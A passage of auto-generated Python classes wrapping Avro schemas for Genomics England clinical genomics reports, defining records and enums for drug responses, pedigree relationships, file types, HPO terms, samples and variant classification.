"""
schema = avro_parse(_schemaSource)
requiredFields = {
"ageOfOnset",
"diseaseGroup",
"diseaseSubGroup",
"specificDisease",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'ageOfOnset', 'diseaseGroup', 'diseaseSubGroup',
'specificDisease'
]
def __init__(self, **kwargs):
self.ageOfOnset = kwargs.get(
'ageOfOnset', None)
self.diseaseGroup = kwargs.get(
'diseaseGroup', None)
self.diseaseSubGroup = kwargs.get(
'diseaseSubGroup', None)
self.specificDisease = kwargs.get(
'specificDisease', None)
class Domain(object):
"""
No documentation
"""
DOMAIN1 = "DOMAIN1"
DOMAIN2 = "DOMAIN2"
DOMAIN3 = "DOMAIN3"
DOMAIN4 = "DOMAIN4"
NONE = "NONE"
def __hash__(self):
return str(self).__hash__()
class DrugResponse(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "DrugResponse", "namespace": "org.gel.models.report.avro", "fields":
[{"name": "TreatmentAgent", "type": "string", "doc": ""}, {"name": "drugResponseClassification",
"type": {"type": "enum", "name": "DrugResponseClassification", "symbols": ["altered_sensitivity",
"reduced_sensitivity", "increased_sensitivity", "altered_resistance", "increased_resistance",
"reduced_resistance", "increased_risk_of_toxicity", "reduced_risk_of_toxicity", "altered_toxicity",
"adverse_drug_reaction", "indication", "contraindication", "dosing_alteration", "increased_dose",
"reduced_dose", "increased_monitoring", "increased_efficacy", "reduced_efficacy",
"altered_efficacy"]}, "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"TreatmentAgent",
"drugResponseClassification",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'TreatmentAgent', 'drugResponseClassification'
]
def __init__(self, **kwargs):
self.TreatmentAgent = kwargs.get(
'TreatmentAgent', None)
self.drugResponseClassification = kwargs.get(
'drugResponseClassification', None)
class DrugResponseClassification(object):
"""
No documentation
"""
altered_sensitivity = "altered_sensitivity"
reduced_sensitivity = "reduced_sensitivity"
increased_sensitivity = "increased_sensitivity"
altered_resistance = "altered_resistance"
increased_resistance = "increased_resistance"
reduced_resistance = "reduced_resistance"
increased_risk_of_toxicity = "increased_risk_of_toxicity"
reduced_risk_of_toxicity = "reduced_risk_of_toxicity"
altered_toxicity = "altered_toxicity"
adverse_drug_reaction = "adverse_drug_reaction"
indication = "indication"
contraindication = "contraindication"
dosing_alteration = "dosing_alteration"
increased_dose = "increased_dose"
reduced_dose = "reduced_dose"
increased_monitoring = "increased_monitoring"
increased_efficacy = "increased_efficacy"
reduced_efficacy = "reduced_efficacy"
altered_efficacy = "altered_efficacy"
def __hash__(self):
return str(self).__hash__()
class EthnicCategory(object):
"""
This is the list of ethnicities in ONS16 * `D`: Mixed: White
and Black Caribbean * `E`: Mixed: White and Black African
* `F`: Mixed: White and Asian * `G`: Mixed: Any other mixed
background * `A`: White: British * `B`: White: Irish
* `C`: White: Any other White background * `L`: Asian or
Asian British: Any other Asian background * `M`: Black or
Black British: Caribbean * `N`: Black or Black British:
African * `H`: Asian or Asian British: Indian * `J`:
Asian or Asian British: Pakistani * `K`: Asian or Asian
British: Bangladeshi * `P`: Black or Black British: Any other
Black background * `S`: Other Ethnic Groups: Any other ethnic
group * `R`: Other Ethnic Groups: Chinese * `Z`: Not
stated
"""
D = "D"
E = "E"
F = "F"
G = "G"
A = "A"
B = "B"
C = "C"
L = "L"
M = "M"
N = "N"
H = "H"
J = "J"
K = "K"
P = "P"
S = "S"
R = "R"
Z = "Z"
def __hash__(self):
return str(self).__hash__()
class FamiliarRelationship(object):
"""
Familiar relationship from pedrigree
"""
TwinsMonozygous = "TwinsMonozygous"
TwinsDizygous = "TwinsDizygous"
TwinsUnknown = "TwinsUnknown"
FullSibling = "FullSibling"
FullSiblingF = "FullSiblingF"
FullSiblingM = "FullSiblingM"
Mother = "Mother"
Father = "Father"
Son = "Son"
Daughter = "Daughter"
ChildOfUnknownSex = "ChildOfUnknownSex"
MaternalAunt = "MaternalAunt"
MaternalUncle = "MaternalUncle"
MaternalUncleOrAunt = "MaternalUncleOrAunt"
PaternalAunt = "PaternalAunt"
PaternalUncle = "PaternalUncle"
PaternalUncleOrAunt = "PaternalUncleOrAunt"
MaternalGrandmother = "MaternalGrandmother"
PaternalGrandmother = "PaternalGrandmother"
MaternalGrandfather = "MaternalGrandfather"
PaternalGrandfather = "PaternalGrandfather"
DoubleFirstCousin = "DoubleFirstCousin"
MaternalCousinSister = "MaternalCousinSister"
PaternalCousinSister = "PaternalCousinSister"
MaternalCousinBrother = "MaternalCousinBrother"
PaternalCousinBrother = "PaternalCousinBrother"
Cousin = "Cousin"
Spouse = "Spouse"
Other = "Other"
RelationIsNotClear = "RelationIsNotClear"
Unrelated = "Unrelated"
Unknown = "Unknown"
def __hash__(self):
return str(self).__hash__()
class FamilyLevelQuestions(ProtocolElement):
"""
The family level questions
"""
_schemaSource = """
{"type": "record", "name": "FamilyLevelQuestions", "namespace": "org.gel.models.report.avro", "doc":
"", "fields": [{"name": "caseSolvedFamily", "type": {"type": "enum", "name": "CaseSolvedFamily",
"symbols": ["yes", "no", "partially", "unknown"]}, "doc": ""}, {"name": "segregationQuestion",
"type": {"type": "enum", "name": "SegregationQuestion", "symbols": ["yes", "no"]}, "doc": ""},
{"name": "additionalComments", "type": "string", "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"additionalComments",
"caseSolvedFamily",
"segregationQuestion",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'additionalComments', 'caseSolvedFamily',
'segregationQuestion'
]
def __init__(self, **kwargs):
self.additionalComments = kwargs.get(
'additionalComments', None)
self.caseSolvedFamily = kwargs.get(
'caseSolvedFamily', None)
self.segregationQuestion = kwargs.get(
'segregationQuestion', None)
class FamilyQCState(object):
"""
FamilyQCState
"""
noState = "noState"
passedMedicalReviewReadyForInterpretation = "passedMedicalReviewReadyForInterpretation"
passedMedicalReviewNotReadyForInterpretation = "passedMedicalReviewNotReadyForInterpretation"
queryToGel = "queryToGel"
queryToGMC = "queryToGMC"
failed = "failed"
def __hash__(self):
return str(self).__hash__()
class File(ProtocolElement):
"""
This defines a file This record is uniquely defined by the
sample identfier and an URI Currently sample identifier can be
a single string or a list of strings if multiple samples are
associated with the same file *
"""
_schemaSource = """
{"type": "record", "name": "File", "namespace": "org.gel.models.report.avro", "doc": "", "fields":
[{"name": "sampleId", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"uriFile", "type": "string", "doc": ""}, {"name": "fileType", "type": {"type": "enum", "name":
"FileType", "symbols": ["BAM", "gVCF", "VCF_small", "VCF_somatic_small", "VCF_CNV",
"VCF_somatic_CNV", "VCF_SV", "VCF_somatic_SV", "VCF_SV_CNV", "SVG", "ANN", "BigWig", "MD5Sum",
"ROH", "OTHER", "PARTITION", "VARIANT_FREQUENCIES", "COVERAGE"]}, "doc": ""}, {"name": "md5Sum",
"type": ["null", "string"], "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"fileType",
"md5Sum",
"sampleId",
"uriFile",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'fileType', 'md5Sum', 'sampleId', 'uriFile'
]
def __init__(self, **kwargs):
self.fileType = kwargs.get(
'fileType', None)
self.md5Sum = kwargs.get(
'md5Sum', None)
self.sampleId = kwargs.get(
'sampleId', None)
self.uriFile = kwargs.get(
'uriFile', None)
class FileType(object):
"""
No documentation
"""
BAM = "BAM"
gVCF = "gVCF"
VCF_small = "VCF_small"
VCF_somatic_small = "VCF_somatic_small"
VCF_CNV = "VCF_CNV"
VCF_somatic_CNV = "VCF_somatic_CNV"
VCF_SV = "VCF_SV"
VCF_somatic_SV = "VCF_somatic_SV"
VCF_SV_CNV = "VCF_SV_CNV"
SVG = "SVG"
ANN = "ANN"
BigWig = "BigWig"
MD5Sum = "MD5Sum"
ROH = "ROH"
OTHER = "OTHER"
PARTITION = "PARTITION"
VARIANT_FREQUENCIES = "VARIANT_FREQUENCIES"
COVERAGE = "COVERAGE"
def __hash__(self):
return str(self).__hash__()
class GenePanel(ProtocolElement):
"""
A panel of genes
"""
_schemaSource = """
{"type": "record", "name": "GenePanel", "namespace": "org.gel.models.report.avro", "doc": "",
"fields": [{"name": "panelIdentifier", "type": ["null", "string"], "doc": ""}, {"name": "panelName",
"type": ["null", "string"], "doc": ""}, {"name": "panelVersion", "type": ["null", "string"], "doc":
""}, {"name": "source", "type": ["null", "string"], "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"panelIdentifier",
"panelName",
"panelVersion",
"source",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'panelIdentifier', 'panelName', 'panelVersion', 'source'
]
def __init__(self, **kwargs):
self.panelIdentifier = kwargs.get(
'panelIdentifier', None)
self.panelName = kwargs.get(
'panelName', None)
self.panelVersion = kwargs.get(
'panelVersion', None)
self.source = kwargs.get(
'source', None)
class GenomicEntity(ProtocolElement):
"""
A genomic feature
"""
_schemaSource = """
{"type": "record", "name": "GenomicEntity", "namespace": "org.gel.models.report.avro", "doc": "",
"fields": [{"name": "type", "type": {"type": "enum", "name": "GenomicEntityType", "doc": "",
"symbols": ["regulatory_region", "gene", "transcript", "intergenic", "gene_fusion",
"genomic_region", "cytobands"]}, "doc": ""}, {"name": "ensemblId", "type": ["null", "string"],
"doc": ""}, {"name": "geneSymbol", "type": ["null", "string"], "doc": ""}, {"name": "otherIds",
"type": ["null", {"type": "array", "items": {"type": "record", "name": "Identifier", "fields":
[{"name": "source", "type": "string", "doc": ""}, {"name": "identifier", "type": "string", "doc":
""}]}}], "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"ensemblId",
"geneSymbol",
"otherIds",
"type",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'otherIds': Identifier,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'otherIds': Identifier,
}
return embeddedTypes[fieldName]
__slots__ = [
'ensemblId', 'geneSymbol', 'otherIds', 'type'
]
def __init__(self, **kwargs):
self.ensemblId = kwargs.get(
'ensemblId', None)
self.geneSymbol = kwargs.get(
'geneSymbol', None)
self.otherIds = kwargs.get(
'otherIds', None)
self.type = kwargs.get(
'type', None)
class GenomicEntityType(object):
"""
Types of genomic features: * `regulatory_region`: a regulatory
region * `gene`: a gene * `transcript`: a transcript *
`intergenic`: an intergenic region
"""
regulatory_region = "regulatory_region"
gene = "gene"
transcript = "transcript"
intergenic = "intergenic"
gene_fusion = "gene_fusion"
genomic_region = "genomic_region"
cytobands = "cytobands"
def __hash__(self):
return str(self).__hash__()
class GermlineSample(ProtocolElement):
"""
A germline sample
"""
_schemaSource = """
{"type": "record", "name": "GermlineSample", "namespace": "org.gel.models.participant.avro", "doc":
"", "fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name": "labSampleId", "type":
"int", "doc": ""}, {"name": "LDPCode", "type": "string", "doc": ""}, {"name": "source", "type":
["null", {"type": "enum", "name": "SampleSource", "doc": "", "symbols": ["TUMOUR",
"BONE_MARROW_ASPIRATE_TUMOUR_SORTED_CELLS", "BONE_MARROW_ASPIRATE_TUMOUR_CELLS", "BLOOD", "SALIVA",
"FIBROBLAST", "TISSUE"]}], "doc": ""}, {"name": "product", "type": ["null", {"type": "enum", "name":
"Product", "symbols": ["DNA", "RNA"]}], "doc": ""}, {"name": "preparationMethod", "type": ["null",
{"type": "enum", "name": "PreparationMethod", "symbols": ["EDTA", "ORAGENE", "FF", "FFPE",
"CD128_SORTED_CELLS", "ASPIRATE"]}], "doc": ""}, {"name": "programmePhase", "type": ["null",
{"type": "enum", "name": "ProgrammePhase", "symbols": ["CRUK", "OXFORD", "CLL", "IIP", "MAIN",
"EXPT"]}], "doc": ""}, {"name": "clinicalSampleDateTime", "type": ["null", "string"], "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"LDPCode",
"clinicalSampleDateTime",
"labSampleId",
"preparationMethod",
"product",
"programmePhase",
"sampleId",
"source",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'LDPCode', 'clinicalSampleDateTime', 'labSampleId',
'preparationMethod', 'product', 'programmePhase', 'sampleId',
'source'
]
def __init__(self, **kwargs):
self.LDPCode = kwargs.get(
'LDPCode', None)
self.clinicalSampleDateTime = kwargs.get(
'clinicalSampleDateTime', None)
self.labSampleId = kwargs.get(
'labSampleId', None)
self.preparationMethod = kwargs.get(
'preparationMethod', None)
self.product = kwargs.get(
'product', None)
self.programmePhase = kwargs.get(
'programmePhase', None)
self.sampleId = kwargs.get(
'sampleId', None)
self.source = kwargs.get(
'source', None)
class GuidelineBasedVariantClassification(ProtocolElement):
"""
Variant classification based on guidlines, AMP and ACMG are
supported
"""
_schemaSource = """
{"type": "record", "name": "GuidelineBasedVariantClassification", "namespace":
"org.gel.models.report.avro", "doc": "", "fields": [{"name": "acmgVariantClassification", "type":
["null", {"type": "record", "name": "AcmgVariantClassification", "doc": "", "fields": [{"name":
"acmgEvidences", "type": {"type": "array", "items": {"type": "record", "name": "AcmgEvidence",
"doc": "", "fields": [{"name": "category", "type": {"type": "enum", "name": "AcmgEvidenceCategory",
"doc": "", "symbols": ["population_data", "computational_and_predictive_data", "functional_data",
"segregation_data", "de_novo_data", "allelic_data", "other_database", "other_data"]}, "doc": ""},
{"name": "type", "type": {"type": "enum", "name": "AcmgEvidenceType", "doc": "", "symbols":
["bening", "pathogenic"]}, "doc": ""}, {"name": "weight", "type": {"type": "enum", "name":
"AcmgEvidenceWeight", "doc": "", "symbols": ["stand_alone", "supporting", "moderate", "strong",
"very_strong"]}, "doc": ""}, {"name": "modifier", "type": "int", "doc": ""}, {"name": "description",
"type": ["null", "string"], "doc": ""}]}}}, {"name": "clinicalSignificance", "type": {"type":
"enum", "name": "ClinicalSignificance", "symbols": ["benign", "likely_benign", "likely_pathogenic",
"pathogenic", "uncertain_significance"]}}, {"name": "assessment", "type": ["null", "string"]}]}]},
{"name": "ampVariantClassification", "type": ["null", {"type": "record", "name":
"AmpVariantClassification", "doc": "", "fields": [{"name": "ampEvidences", "type": {"type": "array",
"items": {"type": "record", "name": "AmpEvidence", "doc": "", "fields": [{"name": "type", "type":
{"type": "enum", "name": "AmpEvidenceType", "doc": "", "symbols": ["mutation_type", "therapies",
"variant_frequencies", "potential_germline", "population_database_presence",
"germline_database_presence", "somatic_database_presence", "impact_predictive_software",
"pathway_involvement", "publications"]}, "doc": ""}, {"name": "evidenceAssessment", "type":
"string", "doc": ""}]}}, "doc": ""}, {"name": "ampTier", "type": {"type": "enum", "name": "AmpTier",
"doc": "", "symbols": ["tierI", "tierII", "tierIII", "tierIV"]}, "doc": ""}, {"name":
"ampClincialOrExperimentalEvidence", "type": ["null", {"type": "array", "items": {"type": "record",
"name": "AmpClincialOrExperimentalEvidence", "doc": "", "fields": [{"name": "category", "type":
{"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceCategory", "doc": "", "symbols":
["therapeutic", "diagnosis", "prognosis"]}, "doc": ""}, {"name": "level", "type": {"type": "enum",
"name": "AmpClinicalOrExperimentalEvidenceLevel", "doc": "", "symbols": ["levelA", "levelB",
"levelC", "levelD"]}, "doc": ""}, {"name": "description", "type": ["null", "string"], "doc":
""}]}}], "doc": ""}, {"name": "assessment", "type": ["null", "string"], "doc": ""}]}]}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"acmgVariantClassification",
"ampVariantClassification",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'acmgVariantClassification': AcmgVariantClassification,
'ampVariantClassification': AmpVariantClassification,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'acmgVariantClassification': AcmgVariantClassification,
'ampVariantClassification': AmpVariantClassification,
}
return embeddedTypes[fieldName]
__slots__ = [
'acmgVariantClassification', 'ampVariantClassification'
]
def __init__(self, **kwargs):
self.acmgVariantClassification = kwargs.get(
'acmgVariantClassification', None)
self.ampVariantClassification = kwargs.get(
'ampVariantClassification', None)
class HpoTerm(ProtocolElement):
"""
This defines an HPO term and its modifiers (possibly multiple)
If HPO term presence is unknown we don't have a entry on the list
"""
_schemaSource = """
{"type": "record", "name": "HpoTerm", "namespace": "org.gel.models.participant.avro", "doc": "",
"fields": [{"name": "term", "type": "string", "doc": ""}, {"name": "termPresence", "type": ["null",
{"type": "enum", "name": "TernaryOption", "doc": "", "symbols": ["yes", "no", "unknown"]}], "doc":
""}, {"name": "hpoBuildNumber", "type": ["null", "string"], "doc": ""}, {"name": "modifiers",
"type": ["null", {"type": "record", "name": "HpoTermModifiers", "fields": [{"name": "laterality",
"type": ["null", {"type": "enum", "name": "Laterality", "symbols": ["RIGHT", "UNILATERAL",
"BILATERAL", "LEFT"]}]}, {"name": "progression", "type": ["null", {"type": "enum", "name":
"Progression", "symbols": ["PROGRESSIVE", "NONPROGRESSIVE"]}]}, {"name": "severity", "type":
["null", {"type": "enum", "name": "Severity", "symbols": ["BORDERLINE", "MILD", "MODERATE",
"SEVERE", "PROFOUND"]}]}, {"name": "spatialPattern", "type": ["null", {"type": "enum", "name":
"SpatialPattern", "symbols": ["DISTAL", "GENERALIZED", "LOCALIZED", "PROXIMAL"]}]}]}], "doc": ""},
{"name": "ageOfOnset", "type": ["null", {"type": "enum", "name": "AgeOfOnset", "symbols":
["EMBRYONAL_ONSET", "FETAL_ONSET", "NEONATAL_ONSET", "INFANTILE_ONSET", "CHILDHOOD_ONSET",
"JUVENILE_ONSET", "YOUNG_ADULT_ONSET", "LATE_ONSET", "MIDDLE_AGE_ONSET"]}], "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"ageOfOnset",
"hpoBuildNumber",
"modifiers",
"term",
"termPresence",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'modifiers': HpoTermModifiers,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'modifiers': HpoTermModifiers,
}
return embeddedTypes[fieldName]
__slots__ = [
'ageOfOnset', 'hpoBuildNumber', 'modifiers', 'term',
'termPresence'
]
def __init__(self, **kwargs):
self.ageOfOnset = kwargs.get(
'ageOfOnset', None)
self.hpoBuildNumber = kwargs.get(
'hpoBuildNumber', None)
self.modifiers = kwargs.get(
'modifiers', None)
self.term = kwargs.get(
'term', None)
self.termPresence = kwargs.get(
'termPresence', None)
class HpoTermModifiers(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "HpoTermModifiers", "namespace": "org.gel.models.participant.avro",
"fields": [{"name": "laterality", "type": ["null", {"type": "enum", "name": "Laterality", "symbols":
["RIGHT", "UNILATERAL", "BILATERAL", "LEFT"]}]}, {"name": "progression", "type": ["null", {"type":
"enum", "name": "Progression", "symbols": ["PROGRESSIVE", "NONPROGRESSIVE"]}]}, {"name": "severity",
"type": ["null", {"type": "enum", "name": "Severity", "symbols": ["BORDERLINE", "MILD", "MODERATE",
"SEVERE", "PROFOUND"]}]}, {"name": "spatialPattern", "type": ["null", {"type": "enum", "name":
"SpatialPattern", "symbols": ["DISTAL", "GENERALIZED", "LOCALIZED", "PROXIMAL"]}]}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"laterality",
"progression",
"severity",
"spatialPattern",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'laterality', 'progression', 'severity', 'spatialPattern'
]
def __init__(self, **kwargs):
self.laterality = kwargs.get(
'laterality', None)
self.progression = kwargs.get(
'progression', None)
self.severity = kwargs.get(
'severity', None)
self.spatialPattern = kwargs.get(
'spatialPattern', None)
class Identifier(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "Identifier", "namespace": "org.gel.models.report.avro", "fields":
[{"name": "source", "type": "string", "doc": ""}, {"name": "identifier", "type": "string", "doc":
""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"identifier",
"source",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'identifier', 'source'
]
def __init__(self, **kwargs):
self.identifier = kwargs.get(
'identifier', None)
self.source = kwargs.get(
'source', None)
class IdentityByDescent(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "IdentityByDescent", "namespace": "org.gel.models.report.avro", "fields":
[{"name": "relatedSample", "type": "string"}, {"name": "ibd0", "type": "float"}, {"name": "ibd1",
"type": "float"}, {"name": "ibd2", "type": "float"}, {"name": "pihat", "type": "float"}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"ibd0",
"ibd1",
"ibd2",
"pihat",
"relatedSample",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'ibd0', 'ibd1', 'ibd2', 'pihat', 'relatedSample'
]
def __init__(self, **kwargs):
self.ibd0 = kwargs.get(
'ibd0', None)
self.ibd1 = kwargs.get(
'ibd1', None)
self.ibd2 = kwargs.get(
'ibd2', None)
self.pihat = kwargs.get(
'pihat', None)
self.relatedSample = kwargs.get(
'relatedSample', None)
class InbreedingCoefficient(ProtocolElement):
"""
Inbreeding coefficient
"""
_schemaSource = """
{"type": "record", "name": "InbreedingCoefficient", "namespace": "org.gel.models.participant.avro",
"doc": "", "fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name": "program", "type":
"string", "doc": ""}, {"name": "version", "type": "string", "doc": ""}, {"name": "estimationMethod",
"type": "string", "doc": ""}, {"name": "coefficient", "type": "double", "doc": ""}, {"name":
"standardError", "type": ["null", "double"], "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"coefficient",
"estimationMethod",
"program",
"sampleId",
"standardError",
"version",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'coefficient', 'estimationMethod', 'program', 'sampleId',
'standardError', 'version'
]
def __init__(self, **kwargs):
self.coefficient = kwargs.get(
'coefficient', None)
self.estimationMethod = kwargs.get(
'estimationMethod', None)
self.program = kwargs.get(
'program', None)
self.sampleId = kwargs.get(
'sampleId', None)
self.standardError = kwargs.get(
'standardError', None)
self.version = kwargs.get(
'version', None)
class Indel(object):
"""
No documentation
"""
insertion = "insertion"
deletion = "deletion"
def __hash__(self):
return str(self).__hash__()
class InterpretationDataCancer(ProtocolElement):
"""
Represents the set of all interpretation data (excluding file
contents) to be stored in MDT for one TieringResult. Semantic
restrictions (not automatically verifiable): * All
InterpretedGenomes in interpretationResults refer to the
TieringResult tieringResult. * All InterpretedGenomes in
interpretationResults have passed the QC stage and have been
approved by the originating GMCs
"""
_schemaSource = """
{"type": "record", "name": "InterpretationDataCancer", "namespace": "org.gel.models.report.avro",
"doc": "", "fields": [{"name": "interpretationMetaData", "type": {"type": "record", "name":
"CancerInterpretationRequest", "doc": "", "fields": [{"name": "versionControl", "type": {"type":
"record", "name": "ReportVersionControl", "fields": [{"name": "gitVersionControl", "type": "string",
"doc": "", "default": "6.0.0"}]}, "doc": ""}, {"name": "interpretationRequestId", "type": "string",
"doc": ""}, {"name": "interpretationRequestVersion", "type": "int", "doc": ""}, {"name":
"internalStudyId", "type": "string", "doc": ""}, {"name": "participantInternalId", "type": ["null",
"string"], "doc": ""}, {"name": "genomeAssembly", "type": {"type": "enum", "name": "Assembly",
"doc": "", "symbols": ["GRCh38", "GRCh37"]}, "doc": ""}, {"name": "workspace", "type": {"type":
"array", "items": "string"}, "doc": ""}, {"name": "bams", "type": ["null", {"type": "array",
"items": {"type": "record", "name": "File", "doc": "", "fields": [{"name": "sampleId", "type":
["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "uriFile", "type": "string",
"doc": ""}, {"name": "fileType", "type": {"type": "enum", "name": "FileType", "symbols": ["BAM",
"gVCF", "VCF_small", "VCF_somatic_small", "VCF_CNV", "VCF_somatic_CNV", "VCF_SV", "VCF_somatic_SV",
"VCF_SV_CNV", "SVG", "ANN", "BigWig", "MD5Sum", "ROH", "OTHER", "PARTITION", "VARIANT_FREQUENCIES",
"COVERAGE"]}, "doc": ""}, {"name": "md5Sum", "type": ["null", "string"], "doc": ""}]}}], "doc": ""},
{"name": "vcfs", "type": ["null", {"type": "array", "items": "File"}], "doc": ""}, {"name":
"bigWigs", "type": ["null", {"type": "array", "items": "File"}], "doc": ""}, {"name":
"annotationFile", "type": ["null", "File"], "doc": ""}, {"name": "otherFiles", "type": ["null",
{"type": "map", "values": "File"}], "doc": ""}, {"name": "cancerParticipant", "type": ["null",
{"type": "record", "name": "CancerParticipant", "namespace": "org.gel.models.participant.avro",
"doc": "", "fields": [{"name": "yearOfBirth", "type": ["null", "int"], "doc": ""}, {"name":
"morphology", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"readyForAnalysis", "type": "boolean", "doc": ""}, {"name": "consentStatus", "type": ["null",
{"type": "record", "name": "ConsentStatus", "doc": "", "fields": [{"name": "programmeConsent",
"type": "boolean", "doc": "", "default": false}, {"name": "primaryFindingConsent", "type":
"boolean", "doc": "", "default": false}, {"name": "secondaryFindingConsent", "type": "boolean",
"doc": "", "default": false}, {"name": "carrierStatusConsent", "type": "boolean", "doc": "",
"default": false}]}], "doc": ""}, {"name": "center", "type": ["null", "string"], "doc": ""},
{"name": "individualId", "type": "string", "doc": ""}, {"name": "primaryDiagnosisDisease", "type":
["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "primaryDiagnosisSubDisease",
"type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "sex", "type": {"type":
"enum", "name": "Sex", "doc": "", "symbols": ["MALE", "FEMALE", "UNKNOWN"]}, "doc": ""}, {"name":
"additionalInformation", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}, {"name":
"assignedICD10", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"tumourSamples", "type": {"type": "array", "items": {"type": "record", "name": "TumourSample",
"doc": "", "fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name": "labSampleId",
"type": "int", "doc": ""}, {"name": "LDPCode", "type": "string", "doc": ""}, {"name": "tumourId",
"type": "string", "doc": ""}, {"name": "programmePhase", "type": ["null", {"type": "enum", "name":
"ProgrammePhase", "symbols": ["CRUK", "OXFORD", "CLL", "IIP", "MAIN", "EXPT"]}], "doc": ""},
{"name": "diseaseType", "type": ["null", {"type": "enum", "name": "diseaseType", "symbols":
["ADULT_GLIOMA", "BLADDER", "BREAST", "CARCINOMA_OF_UNKNOWN_PRIMARY", "CHILDHOOD", "COLORECTAL",
"ENDOCRINE", "ENDOMETRIAL_CARCINOMA", "HAEMONC", "HEPATOPANCREATOBILIARY", "LUNG",
"MALIGNANT_MELANOMA", "NASOPHARYNGEAL", "ORAL_OROPHARYNGEAL", "OVARIAN", "PROSTATE", "RENAL",
"SARCOMA", "SINONASAL", "TESTICULAR_GERM_CELL_TUMOURS", "UPPER_GASTROINTESTINAL", "OTHER",
"NON_HODGKINS_B_CELL_LYMPHOMA_LOW_MOD_GRADE", "CLASSICAL_HODGKINS",
"NODULAR_LYMPHOCYTE_PREDOMINANT_HODGKINS", "T_CELL_LYMPHOMA"]}], "doc": ""}, {"name":
"diseaseSubType", "type": ["null", "string"], "doc": ""}, {"name": "clinicalSampleDateTime", "type":
["null", "string"], "doc": ""}, {"name": "tumourType", "type": ["null", {"type": "enum", "name":
"TumourType", "symbols": ["PRIMARY", "METASTATIC_RECURRENCE", "RECURRENCE_OF_PRIMARY_TUMOUR",
"METASTASES"]}], "doc": ""}, {"name": "tumourContent", "type": ["null", {"type": "enum", "name":
"TumourContent", "symbols": ["High", "Medium", "Low"]}], "doc": ""}, {"name": "source", "type":
["null", {"type": "enum", "name": "SampleSource", "doc": "", "symbols": ["TUMOUR",
"BONE_MARROW_ASPIRATE_TUMOUR_SORTED_CELLS", "BONE_MARROW_ASPIRATE_TUMOUR_CELLS", "BLOOD", "SALIVA",
"FIBROBLAST", "TISSUE"]}], "doc": ""}, {"name": "preparationMethod", "type": ["null", {"type":
"enum", "name": "PreparationMethod", "symbols": ["EDTA", "ORAGENE", "FF", "FFPE",
